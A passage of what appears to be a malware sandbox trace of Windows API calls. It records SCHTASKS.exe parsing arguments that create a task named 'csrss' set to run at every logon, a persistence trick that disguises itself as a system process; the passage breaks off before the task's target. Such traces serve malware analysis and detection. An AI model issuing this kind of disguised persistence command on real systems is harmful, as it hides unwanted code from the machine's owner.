Size=0x20) returned 0x7cd20 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7bbf0 [0057.652] _memicmp (_Buf1=0x7bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.652] GetProcessHeap () returned 0x60000 [0057.652] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x200) returned 0x7d400 [0057.652] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x7d400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0057.653] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0057.653] GetProcessHeap () returned 0x60000 [0057.653] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x30) returned 0x77bc0 [0057.653] _vsnwprintf (in: _Buffer=0x7c150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21f348 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0057.653] GetProcessHeap () returned 0x60000 [0057.653] GetProcessHeap () returned 0x60000 [0057.653] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c320) returned 1 [0057.653] GetProcessHeap () returned 0x60000 [0057.653] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c320) returned 0x74e [0057.654] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c320 | out: hHeap=0x60000) returned 1 [0057.654] SetLastError (dwErrCode=0x0) [0057.654] GetThreadLocale () returned 0x409 [0057.654] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.654] lstrlenW (lpString="?") returned 1 [0057.654] GetThreadLocale () returned 0x409 [0057.654] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.654] lstrlenW (lpString="create") returned 6 [0057.654] GetThreadLocale () returned 0x409 [0057.654] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.654] lstrlenW (lpString="delete") returned 6 [0057.654] GetThreadLocale () returned 0x409 [0057.654] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.654] lstrlenW (lpString="query") returned 5 [0057.654] GetThreadLocale () returned 0x409 [0057.654] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.654] lstrlenW (lpString="change") returned 6 [0057.654] GetThreadLocale () returned 0x409 [0057.654] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.654] lstrlenW (lpString="run") returned 3 [0057.654] GetThreadLocale () returned 0x409 [0057.654] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.654] lstrlenW (lpString="end") returned 3 [0057.654] GetThreadLocale () returned 0x409 [0057.655] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.655] lstrlenW (lpString="showsid") returned 7 [0057.655] GetThreadLocale () returned 0x409 [0057.655] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.655] SetLastError (dwErrCode=0x0) [0057.655] SetLastError (dwErrCode=0x0) [0057.655] lstrlenW (lpString="/create") returned 7 [0057.655] lstrlenW (lpString="-/") returned 2 [0057.655] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.655] lstrlenW (lpString="?") returned 1 [0057.655] lstrlenW (lpString="?") returned 1 [0057.655] GetProcessHeap () returned 0x60000 [0057.655] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c200 [0057.655] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.655] GetProcessHeap () returned 0x60000 [0057.655] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa) returned 0x7c320 [0057.655] lstrlenW (lpString="create") returned 6 [0057.655] GetProcessHeap () returned 0x60000 [0057.655] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c340 [0057.655] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.655] GetProcessHeap () returned 0x60000 [0057.655] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x14) returned 0x7c360 [0057.655] _vsnwprintf (in: _Buffer=0x7c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|?|") returned 3 [0057.655] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|create|") returned 8 [0057.655] lstrlenW (lpString="|?|") returned 3 [0057.655] lstrlenW (lpString="|create|") returned 8 [0057.655] SetLastError (dwErrCode=0x490) [0057.655] lstrlenW (lpString="create") returned 6 [0057.655] lstrlenW (lpString="create") returned 6 [0057.655] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.655] GetProcessHeap () returned 0x60000 [0057.655] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c320) returned 1 [0057.656] GetProcessHeap () returned 0x60000 [0057.656] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7c320, Size=0x14) returned 0x7c380 [0057.656] lstrlenW (lpString="create") returned 6 [0057.656] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.656] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|create|") returned 8 [0057.656] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|create|") returned 8 [0057.656] lstrlenW (lpString="|create|") returned 8 [0057.656] lstrlenW (lpString="|create|") returned 8 [0057.656] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0057.656] SetLastError (dwErrCode=0x0) [0057.656] SetLastError (dwErrCode=0x0) [0057.656] SetLastError (dwErrCode=0x0) [0057.656] lstrlenW (lpString="/tn") returned 3 [0057.656] lstrlenW (lpString="-/") returned 2 [0057.656] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.656] lstrlenW (lpString="?") returned 1 [0057.656] lstrlenW (lpString="?") returned 1 [0057.656] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.656] lstrlenW (lpString="tn") returned 2 [0057.656] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.656] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|?|") returned 3 [0057.656] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tn|") returned 4 [0057.656] lstrlenW (lpString="|?|") returned 3 [0057.656] lstrlenW (lpString="|tn|") returned 4 [0057.656] SetLastError (dwErrCode=0x490) [0057.656] lstrlenW (lpString="create") returned 6 [0057.656] lstrlenW (lpString="create") returned 6 [0057.656] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.656] lstrlenW (lpString="tn") returned 2 [0057.656] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.657] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|create|") returned 8 [0057.657] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tn|") returned 4 [0057.657] lstrlenW (lpString="|create|") returned 8 [0057.657] lstrlenW (lpString="|tn|") returned 4 [0057.657] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0057.657] SetLastError (dwErrCode=0x490) [0057.657] lstrlenW (lpString="delete") returned 6 [0057.657] lstrlenW (lpString="delete") returned 6 [0057.657] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.657] lstrlenW (lpString="tn") returned 2 [0057.657] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.657] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|delete|") returned 8 [0057.657] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tn|") returned 4 [0057.657] lstrlenW (lpString="|delete|") returned 8 [0057.657] lstrlenW (lpString="|tn|") returned 4 [0057.657] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0057.657] SetLastError (dwErrCode=0x490) [0057.657] lstrlenW (lpString="query") returned 5 [0057.657] lstrlenW (lpString="query") returned 5 [0057.657] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.657] lstrlenW (lpString="tn") returned 2 [0057.657] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.657] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|query|") returned 7 [0057.657] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tn|") returned 4 [0057.657] lstrlenW (lpString="|query|") returned 7 [0057.657] lstrlenW (lpString="|tn|") returned 4 [0057.657] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0057.657] SetLastError (dwErrCode=0x490) [0057.657] lstrlenW (lpString="change") returned 6 [0057.657] lstrlenW (lpString="change") returned 6 [0057.657] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.658] lstrlenW (lpString="tn") returned 2 [0057.658] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.658] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|change|") returned 8 [0057.658] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tn|") returned 4 [0057.658] lstrlenW (lpString="|change|") returned 8 [0057.658] lstrlenW (lpString="|tn|") returned 4 [0057.658] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0057.658] SetLastError (dwErrCode=0x490) [0057.658] lstrlenW (lpString="run") returned 3 [0057.658] lstrlenW (lpString="run") returned 3 [0057.658] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.658] lstrlenW (lpString="tn") returned 2 [0057.658] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.658] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|run|") returned 5 [0057.658] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tn|") returned 4 [0057.658] lstrlenW (lpString="|run|") returned 5 [0057.658] lstrlenW (lpString="|tn|") returned 4 [0057.658] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0057.658] SetLastError (dwErrCode=0x490) [0057.658] lstrlenW (lpString="end") returned 3 [0057.658] lstrlenW (lpString="end") returned 3 [0057.658] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.658] lstrlenW (lpString="tn") returned 2 [0057.658] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.658] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|end|") returned 5 [0057.658] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tn|") returned 4 [0057.658] lstrlenW (lpString="|end|") returned 5 [0057.658] lstrlenW (lpString="|tn|") returned 4 [0057.658] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0057.659] SetLastError (dwErrCode=0x490) [0057.659] lstrlenW (lpString="showsid") returned 7 [0057.659] lstrlenW (lpString="showsid") returned 7 [0057.659] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.659] GetProcessHeap () returned 0x60000 [0057.659] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c380) returned 1 [0057.659] GetProcessHeap () returned 0x60000 [0057.659] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7c380, Size=0x16) returned 0x7c380 [0057.659] lstrlenW (lpString="tn") returned 2 [0057.659] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.659] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|showsid|") returned 9 [0057.659] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tn|") returned 4 [0057.659] lstrlenW (lpString="|showsid|") returned 9 [0057.659] lstrlenW (lpString="|tn|") returned 4 [0057.659] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0057.659] SetLastError (dwErrCode=0x490) [0057.659] SetLastError (dwErrCode=0x490) [0057.659] SetLastError (dwErrCode=0x0) [0057.659] lstrlenW (lpString="/tn") returned 3 [0057.659] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0057.659] SetLastError (dwErrCode=0x490) [0057.659] SetLastError (dwErrCode=0x0) [0057.659] lstrlenW (lpString="/tn") returned 3 [0057.659] GetProcessHeap () returned 0x60000 [0057.659] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7c320 [0057.659] GetProcessHeap () returned 0x60000 [0057.659] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd50 [0057.659] SetLastError (dwErrCode=0x0) [0057.659] SetLastError (dwErrCode=0x0) [0057.659] lstrlenW (lpString="csrss") returned 5 [0057.659] lstrlenW (lpString="-/") returned 2 [0057.660] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0057.660] SetLastError (dwErrCode=0x490) [0057.660] SetLastError (dwErrCode=0x490) [0057.660] SetLastError (dwErrCode=0x0) [0057.660] lstrlenW (lpString="csrss") returned 5 [0057.660] StrChrIW (lpStart="csrss", wMatch=0x3a) returned 0x0 [0057.660] SetLastError (dwErrCode=0x490) [0057.660] SetLastError (dwErrCode=0x0) [0057.660] lstrlenW (lpString="csrss") returned 5 [0057.660] GetProcessHeap () returned 0x60000 [0057.660] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7c3b0 [0057.660] GetProcessHeap () returned 0x60000 [0057.660] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd80 [0057.660] SetLastError (dwErrCode=0x0) [0057.660] SetLastError (dwErrCode=0x0) [0057.660] lstrlenW (lpString="/sc") returned 3 [0057.660] lstrlenW (lpString="-/") returned 2 [0057.660] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.660] lstrlenW (lpString="?") returned 1 [0057.660] lstrlenW (lpString="?") returned 1 [0057.660] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.660] lstrlenW (lpString="sc") returned 2 [0057.660] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.660] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|?|") returned 3 [0057.660] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|sc|") returned 4 [0057.660] lstrlenW (lpString="|?|") returned 3 [0057.660] lstrlenW (lpString="|sc|") returned 4 [0057.660] SetLastError (dwErrCode=0x490) [0057.660] lstrlenW (lpString="create") returned 6 [0057.660] lstrlenW (lpString="create") returned 6 [0057.660] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.660] lstrlenW (lpString="sc") returned 2 [0057.660] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.661] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|create|") returned 8 [0057.661] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|sc|") returned 4 [0057.661] lstrlenW (lpString="|create|") returned 8 [0057.661] lstrlenW (lpString="|sc|") returned 4 [0057.661] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0057.661] SetLastError (dwErrCode=0x490) [0057.661] lstrlenW (lpString="delete") returned 6 [0057.661] lstrlenW (lpString="delete") returned 6 [0057.661] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.661] lstrlenW (lpString="sc") returned 2 [0057.661] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.661] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|delete|") returned 8 [0057.661] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|sc|") returned 4 [0057.661] lstrlenW (lpString="|delete|") returned 8 [0057.661] lstrlenW (lpString="|sc|") returned 4 [0057.661] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0057.661] SetLastError (dwErrCode=0x490) [0057.661] lstrlenW (lpString="query") returned 5 [0057.661] lstrlenW (lpString="query") returned 5 [0057.661] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.661] lstrlenW (lpString="sc") returned 2 [0057.661] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.661] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|query|") returned 7 [0057.661] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|sc|") returned 4 [0057.661] lstrlenW (lpString="|query|") returned 7 [0057.661] lstrlenW (lpString="|sc|") returned 4 [0057.661] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0057.661] SetLastError (dwErrCode=0x490) [0057.661] lstrlenW (lpString="change") returned 6 [0057.661] lstrlenW (lpString="change") returned 6 [0057.662] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.662] lstrlenW (lpString="sc") returned 2 [0057.662] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.662] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|change|") returned 8 [0057.662] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|sc|") returned 4 [0057.662] lstrlenW (lpString="|change|") returned 8 [0057.662] lstrlenW (lpString="|sc|") returned 4 [0057.662] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0057.662] SetLastError (dwErrCode=0x490) [0057.662] lstrlenW (lpString="run") returned 3 [0057.662] lstrlenW (lpString="run") returned 3 [0057.662] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.662] lstrlenW (lpString="sc") returned 2 [0057.662] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.662] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|run|") returned 5 [0057.662] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|sc|") returned 4 [0057.662] lstrlenW (lpString="|run|") returned 5 [0057.662] lstrlenW (lpString="|sc|") returned 4 [0057.662] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0057.662] SetLastError (dwErrCode=0x490) [0057.662] lstrlenW (lpString="end") returned 3 [0057.662] lstrlenW (lpString="end") returned 3 [0057.662] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.662] lstrlenW (lpString="sc") returned 2 [0057.662] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.662] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|end|") returned 5 [0057.662] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|sc|") returned 4 [0057.662] lstrlenW (lpString="|end|") returned 5 [0057.662] lstrlenW (lpString="|sc|") returned 4 [0057.662] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0057.663] SetLastError (dwErrCode=0x490) [0057.663] lstrlenW (lpString="showsid") returned 7 [0057.663] lstrlenW (lpString="showsid") returned 7 [0057.663] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.663] lstrlenW (lpString="sc") returned 2 [0057.663] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.663] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|showsid|") returned 9 [0057.663] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|sc|") returned 4 [0057.663] lstrlenW (lpString="|showsid|") returned 9 [0057.663] lstrlenW (lpString="|sc|") returned 4 [0057.663] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0057.663] SetLastError (dwErrCode=0x490) [0057.663] SetLastError (dwErrCode=0x490) [0057.663] SetLastError (dwErrCode=0x0) [0057.663] lstrlenW (lpString="/sc") returned 3 [0057.663] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0057.663] SetLastError (dwErrCode=0x490) [0057.663] SetLastError (dwErrCode=0x0) [0057.663] lstrlenW (lpString="/sc") returned 3 [0057.663] GetProcessHeap () returned 0x60000 [0057.663] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7c3d0 [0057.663] GetProcessHeap () returned 0x60000 [0057.663] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cdb0 [0057.663] SetLastError (dwErrCode=0x0) [0057.663] SetLastError (dwErrCode=0x0) [0057.663] lstrlenW (lpString="ONLOGON") returned 7 [0057.663] lstrlenW (lpString="-/") returned 2 [0057.663] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0057.663] SetLastError (dwErrCode=0x490) [0057.663] SetLastError (dwErrCode=0x490) [0057.663] SetLastError (dwErrCode=0x0) [0057.664] lstrlenW (lpString="ONLOGON") returned 7 [0057.664] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0057.664] SetLastError (dwErrCode=0x490) [0057.664] SetLastError (dwErrCode=0x0) [0057.664] lstrlenW (lpString="ONLOGON") returned 7 [0057.664] GetProcessHeap () returned 0x60000 [0057.664] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x10) returned 0x7c3f0 [0057.664] GetProcessHeap () returned 0x60000 [0057.664] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cde0 [0057.664] SetLastError (dwErrCode=0x0) [0057.664] SetLastError (dwErrCode=0x0) [0057.664] lstrlenW (lpString="/tr") returned 3 [0057.664] lstrlenW (lpString="-/") returned 2 [0057.664] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.664] lstrlenW (lpString="?") returned 1 [0057.664] lstrlenW (lpString="?") returned 1 [0057.664] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.664] lstrlenW (lpString="tr") returned 2 [0057.664] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.664] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|?|") returned 3 [0057.664] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tr|") returned 4 [0057.664] lstrlenW (lpString="|?|") returned 3 [0057.664] lstrlenW (lpString="|tr|") returned 4 [0057.664] SetLastError (dwErrCode=0x490) [0057.664] lstrlenW (lpString="create") returned 6 [0057.664] lstrlenW (lpString="create") returned 6 [0057.664] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.664] lstrlenW (lpString="tr") returned 2 [0057.664] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.664] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|create|") returned 8 [0057.664] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tr|") returned 4 [0057.664] lstrlenW (lpString="|create|") returned 8 [0057.664] lstrlenW (lpString="|tr|") returned 4 [0057.665] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0057.665] SetLastError (dwErrCode=0x490) [0057.665] lstrlenW (lpString="delete") returned 6 [0057.665] lstrlenW (lpString="delete") returned 6 [0057.665] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.665] lstrlenW (lpString="tr") returned 2 [0057.665] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.665] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|delete|") returned 8 [0057.665] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tr|") returned 4 [0057.665] lstrlenW (lpString="|delete|") returned 8 [0057.665] lstrlenW (lpString="|tr|") returned 4 [0057.665] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0057.665] SetLastError (dwErrCode=0x490) [0057.665] lstrlenW (lpString="query") returned 5 [0057.665] lstrlenW (lpString="query") returned 5 [0057.665] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.665] lstrlenW (lpString="tr") returned 2 [0057.665] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.665] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|query|") returned 7 [0057.665] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tr|") returned 4 [0057.665] lstrlenW (lpString="|query|") returned 7 [0057.666] lstrlenW (lpString="|tr|") returned 4 [0057.666] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0057.666] SetLastError (dwErrCode=0x490) [0057.666] lstrlenW (lpString="change") returned 6 [0057.666] lstrlenW (lpString="change") returned 6 [0057.666] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.667] lstrlenW (lpString="tr") returned 2 [0057.667] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.667] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|change|") returned 8 [0057.667] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tr|") returned 4 [0057.667] lstrlenW (lpString="|change|") returned 8 [0057.667] lstrlenW (lpString="|tr|") returned 4 [0057.667] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0057.667] SetLastError (dwErrCode=0x490) [0057.667] lstrlenW (lpString="run") returned 3 [0057.667] lstrlenW (lpString="run") returned 3 [0057.667] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, 